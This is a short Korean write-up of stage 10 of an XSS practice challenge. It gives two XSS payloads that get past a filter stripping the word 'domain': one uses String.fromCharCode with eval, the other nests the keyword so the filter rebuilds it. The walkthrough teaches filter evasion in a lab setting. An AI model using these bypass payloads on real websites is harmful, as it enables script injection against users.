XSS Challenges stage #10

10번 문제다.
아직 가야할 길이 멀다.

힌트를 보면 알겠지만 정규식으로 domain 이라는 문자열이 있으면 필터링 해버린다.
즉, 이 문제는 필터링을 우회하는게 목표인 문제다.
다행히 " 와 <> 는 필터링하지 않으므로 공략하기가 수월했다.

"><script>alert(eval(String.fromCharCode(100 , 111 , 99 , 117 , 109 , 101 , 110 , 116 , 46 , 100 , 111 , 109 , 97 , 105 , 110 )))</script>

javascript 를 잘 몰라서 조금 해매이긴 했는데 알고보니 eval 을 쓰지 않아서 String.fromCharCode 로 찍어낸 것들이 단순 문자열로 인식되서 그런거였다.

이 방법 말고도 여러가지가 존재 할텐데 더 쉽게 하는 방법은 아래와 같다.
"><script>alert(document.dodomainmain);</script>
이렇게 하게 되면 domain 은 필터링되고 do 와 main 은 다시 합쳐져 domain 이 되어 내가 원하는걸 실행할 수 있게 된다.